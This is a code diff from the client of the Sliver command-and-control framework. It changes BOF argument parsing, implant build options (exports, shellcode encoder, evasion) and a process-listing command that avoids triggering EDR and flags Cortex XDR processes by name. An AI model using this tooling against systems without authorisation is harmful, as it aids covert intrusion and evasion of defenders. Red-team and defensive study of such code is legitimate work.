case "file":
|
||||
fileValues[flagName] = fs.String(flagName, "", flagDesc)
|
||||
default:
|
||||
return nil, nil, nil, nil, nil, nil, fmt.Errorf("unsupported argument type: %s", arg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
// Parse the arguments
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return nil, nil, nil, nil, nil, nil, err
|
||||
}
|
||||
|
||||
return fs, stringValues, wstringValues, intValues, shortValues, fileValues, nil
|
||||
}
|
||||
|
||||
// bofProcessArgumentsToBuffer processes each argument and adds its value to the buffer
|
||||
// Returns a list of missing required arguments and any error encountered
|
||||
func bofProcessArgumentsToBuffer(fs *flag.FlagSet, ext *ExtCommand, argsBuffer core.BOFArgsBuffer,
|
||||
stringValues, wstringValues map[string]*string,
|
||||
intValues, shortValues map[string]*int,
|
||||
fileValues map[string]*string) ([]string, error) {
|
||||
|
||||
missingRequiredArgs := make([]string, 0)
|
||||
|
||||
for _, argDef := range ext.Arguments {
|
||||
var provided bool
|
||||
var err error
|
||||
|
||||
// Process based on argument type
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
provided, err = bofProcessStringArg(fs, argDef, stringValues, argsBuffer)
|
||||
case "wstring":
|
||||
provided, err = bofProcessWStringArg(fs, argDef, wstringValues, argsBuffer)
|
||||
case "int", "integer":
|
||||
provided, err = bofProcessIntArg(fs, argDef, intValues, argsBuffer)
|
||||
case "short":
|
||||
provided, err = bofProcessShortArg(fs, argDef, shortValues, argsBuffer)
|
||||
case "file":
|
||||
provided, err = bofProcessFileArg(fs, argDef, fileValues, argsBuffer)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// If argument not provided, handle according to rules
|
||||
if !provided {
|
||||
if argDef.Optional {
|
||||
// Try to apply default or type-appropriate zero value
|
||||
err = bofApplyDefaultValue(argDef, argsBuffer)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
} else {
|
||||
// Required argument was not provided
|
||||
missingRequiredArgs = append(missingRequiredArgs, "`"+argDef.Name+"`")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return missingRequiredArgs, nil
|
||||
}
|
||||
|
||||
// bofProcessStringArg processes a string argument
|
||||
func bofProcessStringArg(fs *flag.FlagSet, argDef *extensionArgument, stringValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := stringValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddString(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add string argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessWStringArg processes a wide string argument
|
||||
func bofProcessWStringArg(fs *flag.FlagSet, argDef *extensionArgument, wstringValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := wstringValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddWString(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add wstring argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessIntArg processes an integer argument
|
||||
func bofProcessIntArg(fs *flag.FlagSet, argDef *extensionArgument, intValues map[string]*int,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := intValues[argDef.Name]
|
||||
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddInt(uint32(*ptr))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add int argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessShortArg processes a short integer argument
|
||||
func bofProcessShortArg(fs *flag.FlagSet, argDef *extensionArgument, shortValues map[string]*int,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := shortValues[argDef.Name]
|
||||
flagWasSet := bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
err := argsBuffer.AddShort(uint16(*ptr))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add short argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofProcessFileArg processes a file argument
|
||||
func bofProcessFileArg(fs *flag.FlagSet, argDef *extensionArgument, fileValues map[string]*string,
|
||||
argsBuffer core.BOFArgsBuffer) (bool, error) {
|
||||
|
||||
ptr := fileValues[argDef.Name]
|
||||
flagWasSet := *ptr != "" && bofFlagWasProvided(fs, argDef.Name)
|
||||
|
||||
if flagWasSet {
|
||||
// Validate file exists and read it
|
||||
data, err := os.ReadFile(*ptr)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("error reading file for argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("failed to add file data for argument %s: %v", argDef.Name, err)
|
||||
}
|
||||
return true, nil
|
||||
}
|
||||
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// bofApplyDefaultValue applies a default value based on the argument definition
|
||||
func bofApplyDefaultValue(argDef *extensionArgument, argsBuffer core.BOFArgsBuffer) error {
|
||||
// Try to use default value from manifest if available
|
||||
if argDef.Default != nil {
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
// Handle string default - could be string literal or numeric in JSON
|
||||
defaultVal, ok := argDef.Default.(string)
|
||||
if !ok {
|
||||
// Try to convert from other types
|
||||
defaultVal = fmt.Sprintf("%v", argDef.Default)
|
||||
}
|
||||
err := argsBuffer.AddString(defaultVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default string: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
|
||||
|
||||
case "wstring":
|
||||
// Handle wstring default
|
||||
defaultVal, ok := argDef.Default.(string)
|
||||
if !ok {
|
||||
defaultVal = fmt.Sprintf("%v", argDef.Default)
|
||||
}
|
||||
err := argsBuffer.AddWString(defaultVal)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default wstring: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%s (default)\n", argDef.Name, defaultVal)
|
||||
|
||||
case "int", "integer":
|
||||
// Handle int default - could be number or string in JSON
|
||||
var defaultInt uint32
|
||||
|
||||
// Try as number first
|
||||
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
|
||||
if ok {
|
||||
defaultInt = uint32(numVal)
|
||||
} else {
|
||||
// Try as string
|
||||
strVal, ok := argDef.Default.(string)
|
||||
if ok {
|
||||
val, err := strconv.ParseUint(strVal, 10, 32)
|
||||
if err == nil {
|
||||
defaultInt = uint32(val)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err := argsBuffer.AddInt(defaultInt)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default int: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultInt)
|
||||
|
||||
case "short":
|
||||
// Handle short default - could be number or string in JSON
|
||||
var defaultShort uint16
|
||||
|
||||
// Try as number first
|
||||
numVal, ok := argDef.Default.(float64) // JSON unmarshals numbers as float64
|
||||
if ok {
|
||||
defaultShort = uint16(numVal)
|
||||
} else {
|
||||
// Try as string
|
||||
strVal, ok := argDef.Default.(string)
|
||||
if ok {
|
||||
val, err := strconv.ParseUint(strVal, 10, 16)
|
||||
if err == nil {
|
||||
defaultShort = uint16(val)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
err := argsBuffer.AddShort(defaultShort)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default short: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:%d (default)\n", argDef.Name, defaultShort)
|
||||
|
||||
case "file":
|
||||
// Default for file doesn't really make sense, but handle for completeness
|
||||
err := argsBuffer.AddData([]byte{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default file data: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
}
|
||||
} else {
|
||||
// No default specified in manifest, use type-appropriate zero values
|
||||
switch argDef.Type {
|
||||
case "string":
|
||||
err := argsBuffer.AddString("")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default string: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
|
||||
case "wstring":
|
||||
err := argsBuffer.AddWString("")
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default wstring: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
|
||||
case "int", "integer":
|
||||
err := argsBuffer.AddInt(0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default int: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
|
||||
|
||||
case "short":
|
||||
err := argsBuffer.AddShort(0)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default short: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:0 (default)\n", argDef.Name)
|
||||
|
||||
case "file":
|
||||
// Empty data for optional file
|
||||
err := argsBuffer.AddData([]byte{})
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to add default file data: %v", err)
|
||||
}
|
||||
fmt.Printf(" -%s:<empty> (default)\n", argDef.Name)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// bofDebugPrintParsedFlags prints information about the parsed flags
|
||||
func bofDebugPrintParsedFlags(fs *flag.FlagSet, ext *ExtCommand,
|
||||
stringValues map[string]*string,
|
||||
wstringValues map[string]*string,
|
||||
intValues map[string]*int,
|
||||
shortValues map[string]*int,
|
||||
fileValues map[string]*string) {
|
||||
|
||||
fmt.Println("parsed flags:")
|
||||
|
||||
for _, arg := range ext.Arguments {
|
||||
flagName := arg.Name
|
||||
wasProvided := bofFlagWasProvided(fs, flagName)
|
||||
|
||||
if wasProvided {
|
||||
switch arg.Type {
|
||||
case "string":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *stringValues[flagName])
|
||||
case "wstring":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *wstringValues[flagName])
|
||||
case "int", "integer":
|
||||
fmt.Printf(" -%s:%d\n", flagName, *intValues[flagName])
|
||||
case "short":
|
||||
fmt.Printf(" -%s:%d\n", flagName, *shortValues[flagName])
|
||||
case "file":
|
||||
fmt.Printf(" -%s:%s\n", flagName, *fileValues[flagName])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// bofFlagWasProvided checks if a flag was explicitly set
|
||||
func bofFlagWasProvided(fs *flag.FlagSet, name string) bool {
|
||||
provided := false
|
||||
fs.Visit(func(f *flag.Flag) {
|
||||
if f.Name == name {
|
||||
provided = true
|
||||
}
|
||||
})
|
||||
return provided
|
||||
}
|
||||
@@ -24,6 +24,7 @@ import (
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -52,49 +53,43 @@ func FindExtensionMatches(targetHashes []string) map[string]*ExtensionMatch {
|
||||
}
|
||||
|
||||
// Search for matches
|
||||
for targetHash := range results {
|
||||
for _, extCmd := range loadedExtensions {
|
||||
if extCmd == nil || len(extCmd.Files) == 0 {
|
||||
continue
|
||||
}
|
||||
for _, extCmd := range loadedExtensions {
|
||||
if extCmd == nil || len(extCmd.Files) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, file := range extCmd.Files {
|
||||
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
|
||||
for _, file := range extCmd.Files {
|
||||
fullPath := filepath.Join(extCmd.Manifest.RootPath, file.Path)
|
||||
|
||||
// Check cache first
|
||||
var match *ExtensionMatch
|
||||
if cached, exists := pathCache[fullPath]; exists {
|
||||
match = cached
|
||||
} else {
|
||||
// Calculate hash if not cached
|
||||
fileData, err := os.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hashBytes := sha256.Sum256(fileData)
|
||||
fileHash := hex.EncodeToString(hashBytes[:])
|
||||
|
||||
match = &ExtensionMatch{
|
||||
CommandName: extCmd.CommandName,
|
||||
Hash: fileHash,
|
||||
BinPath: fullPath,
|
||||
}
|
||||
pathCache[fullPath] = match
|
||||
// Check cache first
|
||||
var match *ExtensionMatch
|
||||
if cached, exists := pathCache[fullPath]; exists {
|
||||
match = cached
|
||||
} else {
|
||||
// Calculate hash if not cached
|
||||
fileData, err := os.ReadFile(fullPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if match.Hash == targetHash {
|
||||
results[targetHash] = match
|
||||
break
|
||||
hashBytes := sha256.Sum256(fileData)
|
||||
fileHash := hex.EncodeToString(hashBytes[:])
|
||||
|
||||
match = &ExtensionMatch{
|
||||
CommandName: extCmd.CommandName,
|
||||
Hash: fileHash,
|
||||
BinPath: fullPath,
|
||||
}
|
||||
pathCache[fullPath] = match
|
||||
}
|
||||
|
||||
if results[targetHash] != nil {
|
||||
break
|
||||
if slices.Contains(targetHashes, match.Hash) {
|
||||
results[match.Hash] = match
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
|
||||
@@ -116,10 +116,11 @@ type extensionFile struct {
|
||||
}
|
||||
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
Default interface{} `json:"default,omitempty"`
|
||||
}
|
||||
|
||||
func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (string, error) {
|
||||
@@ -584,11 +585,11 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
extName = ext.DependsOn
|
||||
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
// Regular DLL
|
||||
extensionArgs, err = getExtArgs(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("ext args error: %s\n", err)
|
||||
return
|
||||
// Regular DLL - Just join the arguments with spaces
|
||||
if len(args) > 0 {
|
||||
extensionArgs = []byte(strings.Join(args, " "))
|
||||
} else {
|
||||
extensionArgs = []byte{}
|
||||
}
|
||||
extName = ext.CommandName
|
||||
entryPoint = ext.Entrypoint
|
||||
@@ -796,7 +797,7 @@ func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtComma
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
parsedArgs, err := getExtArgs(cmd, args, binPath, ext)
|
||||
parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -143,6 +143,8 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
@@ -307,7 +309,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
|
||||
f.StringP("canary", "c", "", "canary domain(s)")
|
||||
|
||||
// C2 channels
|
||||
@@ -353,6 +355,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
(*comp)["format"] = FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -290,6 +290,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
isShellcode := false
|
||||
sgnEnabled := false
|
||||
|
||||
var exports []string
|
||||
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
||||
@@ -300,6 +302,13 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
|
||||
exportsArg, _ := cmd.Flags().GetString("exports")
|
||||
if exportsArg == "" {
|
||||
con.PrintErrorf("Shared libraries need at least one export\n")
|
||||
return "", nil
|
||||
} else {
|
||||
exports = strings.Split(exportsArg, ",")
|
||||
}
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
@@ -364,6 +373,8 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
c2Profile = consts.DefaultC2Profile
|
||||
}
|
||||
|
||||
// exports if its a shared library
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
@@ -395,6 +406,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
IsSharedLib: isSharedLib,
|
||||
IsService: isService,
|
||||
IsShellcode: isShellcode,
|
||||
Exports: exports,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
NetGoEnabled: netGo,
|
||||
|
||||
@@ -36,6 +36,8 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("No profile name specified\n")
|
||||
return
|
||||
}
|
||||
|
||||
implantName, _ := cmd.Flags().GetString("name")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
@@ -46,7 +48,7 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
|
||||
profile.Config.SGNEnabled = !SGNDisabled
|
||||
}
|
||||
_, err := compile(name, profile.Config, save, con)
|
||||
_, err := compile(implantName, profile.Config, save, con)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -48,7 +48,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// Wireguard
|
||||
@@ -66,7 +65,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
|
||||
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
|
||||
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// DNS
|
||||
@@ -85,7 +83,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("lhost", "L", "", "interface to bind server to")
|
||||
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// HTTP
|
||||
@@ -106,7 +103,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("disable-otp", "D", false, "disable otp authentication")
|
||||
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
|
||||
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
|
||||
// HTTPS
|
||||
@@ -132,8 +128,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.StringP("key", "k", "", "PEM encoded private key file")
|
||||
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
|
||||
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
|
||||
|
||||
f.BoolP("persistent", "p", false, "make persistent across restarts")
|
||||
})
|
||||
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
|
||||
|
||||
@@ -25,11 +25,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, psCmd, func(f *pflag.FlagSet) {
|
||||
f.IntP("pid", "p", -1, "filter based on pid")
|
||||
f.StringP("exe", "e", "", "filter based on executable name")
|
||||
f.StringP("owner", "o", "", "filter based on owner")
|
||||
f.BoolP("print-cmdline", "c", false, "print command line arguments")
|
||||
f.StringP("owner", "o", "", "filter based on owner, must request full process metadata (-f)")
|
||||
f.BoolP("print-cmdline", "c", false, "print command line arguments, must request full process metadata (-f)")
|
||||
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
|
||||
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
|
||||
f.BoolP("tree", "T", false, "print process tree")
|
||||
f.BoolP("full", "f", false, "show full process metadata (owner, architecture, session information) -- may trigger EDR")
|
||||
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
@@ -100,6 +100,11 @@ var knownSecurityTools = map[string][]string{
|
||||
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
|
||||
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
|
||||
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
|
||||
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
|
||||
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
|
||||
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
|
||||
}
|
||||
|
||||
// PsCmd - List processes on the remote system
|
||||
@@ -108,14 +113,45 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ownerFilter, _ := cmd.Flags().GetString("owner")
|
||||
cmdLine, _ := cmd.Flags().GetBool("print-cmdline")
|
||||
tree, _ := cmd.Flags().GetBool("tree")
|
||||
fullInfo, _ := cmd.Flags().GetBool("full")
|
||||
|
||||
if tree && fullInfo {
|
||||
con.PrintWarnf("Process tree and full process metadata were requested. " +
|
||||
"Full process metadata is not necessary for the process tree, so the request for full process metadata will be ignored.\n\n")
|
||||
fullInfo = false
|
||||
}
|
||||
|
||||
if ownerFilter != "" && !fullInfo {
|
||||
con.PrintErrorf("Filtering on process owner was requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
|
||||
return
|
||||
}
|
||||
|
||||
if cmdLine && !fullInfo {
|
||||
con.PrintErrorf("Process command line arguments were requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
|
||||
return
|
||||
}
|
||||
|
||||
// Get OS information
|
||||
os := getOS(session, beacon)
|
||||
|
||||
/*
|
||||
Because a full list can trigger EDR on some platforms,
|
||||
namely Windows, filtering of the process list must be
|
||||
done on the implant side.
|
||||
*/
|
||||
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
FullInfo: fullInfo,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
os := getOS(session, beacon)
|
||||
|
||||
if ps.Response != nil && ps.Response.Async {
|
||||
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, ps)
|
||||
@@ -123,7 +159,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintPS(os, ps, false, cmd.Flags(), con)
|
||||
PrintPS(os, ps, false, fullInfo, cmd.Flags(), con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
@@ -132,7 +168,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
})
|
||||
con.PrintAsyncResponse(ps.Response)
|
||||
} else {
|
||||
PrintPS(os, ps, true, cmd.Flags(), con)
|
||||
PrintPS(os, ps, true, fullInfo, cmd.Flags(), con)
|
||||
products := findKnownSecurityProducts(ps)
|
||||
if 0 < len(products) {
|
||||
con.Println()
|
||||
@@ -151,7 +187,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
}
|
||||
|
||||
// PrintPS - Prints the process list
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) {
|
||||
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags *pflag.FlagSet, con *console.SliverClient) {
|
||||
pidFilter, _ := flags.GetInt("pid")
|
||||
exeFilter, _ := flags.GetString("exe")
|
||||
ownerFilter, _ := flags.GetString("owner")
|
||||
@@ -180,15 +216,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
|
||||
defaultInfo := table.Row{"pid", "ppid", "executable"}
|
||||
|
||||
switch os {
|
||||
case "windows":
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
if fullInfo {
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
|
||||
} else {
|
||||
tw.AppendHeader(defaultInfo)
|
||||
}
|
||||
case "darwin":
|
||||
fallthrough
|
||||
case "linux":
|
||||
fallthrough
|
||||
default:
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
if fullInfo {
|
||||
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
|
||||
} else {
|
||||
tw.AppendHeader(defaultInfo)
|
||||
}
|
||||
}
|
||||
|
||||
cmdLine, _ := flags.GetBool("print-cmdline")
|
||||
@@ -202,7 +248,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
|
||||
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
|
||||
continue
|
||||
}
|
||||
row := procRow(tw, proc, cmdLine, con)
|
||||
row := procRow(proc, cmdLine, fullInfo, con)
|
||||
tw.AppendRow(row)
|
||||
}
|
||||
tw.SortBy([]table.SortBy{
|
||||
@@ -230,7 +276,7 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
|
||||
}
|
||||
|
||||
// procRow - Stylizes the process information
|
||||
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row {
|
||||
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
|
||||
color := console.Normal
|
||||
@@ -247,7 +293,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
var row table.Row
|
||||
switch session.GetOS() {
|
||||
case "windows":
|
||||
if cmdLine {
|
||||
if cmdLine && fullInfo {
|
||||
var args string
|
||||
if len(proc.CmdLine) >= 1 {
|
||||
args = strings.Join(proc.CmdLine, " ")
|
||||
@@ -263,13 +309,21 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
|
||||
